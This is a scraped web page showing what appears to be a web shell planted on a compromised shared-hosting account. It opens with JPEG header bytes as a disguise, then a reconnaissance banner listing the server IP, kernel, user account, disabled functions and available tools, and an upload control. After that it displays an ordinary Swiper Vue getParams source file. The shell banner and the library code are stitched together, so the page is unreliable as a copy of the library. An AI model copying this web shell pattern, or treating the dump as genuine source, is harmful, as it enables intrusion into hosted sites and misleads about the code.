ÿØÿà JPEG ÿþ;
Server IP : 68.65.120.201 / Your IP : 216.73.216.68 Web Server : LiteSpeed System : Linux server179.web-hosting.com 4.18.0-513.18.1.lve.el8.x86_64 #1 SMP Thu Feb 22 12:55:50 UTC 2024 x86_64 User : taxhyuvu ( 2294) PHP Version : 8.1.32 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /home/taxhyuvu/nodevenv/public_html/dp_taxhelplines/14/lib/node_modules/swiper/vue/ |
Upload File : |
import Swiper from 'swiper'; import { isObject, extend } from './utils.js'; import { paramsList } from './params-list.js'; function getParams(obj = {}) { const params = { on: {} }; const passedParams = {}; extend(params, Swiper.defaults); extend(params, Swiper.extendedDefaults); params._emitClasses = true; params.init = false; const rest = {}; const allowedParams = paramsList.map(key => key.replace(/_/, '')); // Prevent empty Object.keys(obj) array on ios. const plainObj = Object.assign({}, obj); Object.keys(plainObj).forEach(key => { if (typeof obj[key] === 'undefined') return; if (allowedParams.indexOf(key) >= 0) { if (isObject(obj[key])) { params[key] = {}; passedParams[key] = {}; extend(params[key], obj[key]); extend(passedParams[key], obj[key]); } else { params[key] = obj[key]; passedParams[key] = obj[key]; } } else if (key.search(/on[A-Z]/) === 0 && typeof obj[key] === 'function') { params.on[`${key[2].toLowerCase()}${key.substr(3)}`] = obj[key]; } else { rest[key] = obj[key]; } }); ['navigation', 'pagination', 'scrollbar'].forEach(key => { if (params[key] === true) params[key] = {}; if (params[key] === false) delete params[key]; }); return { params, passedParams, rest }; } export { getParams };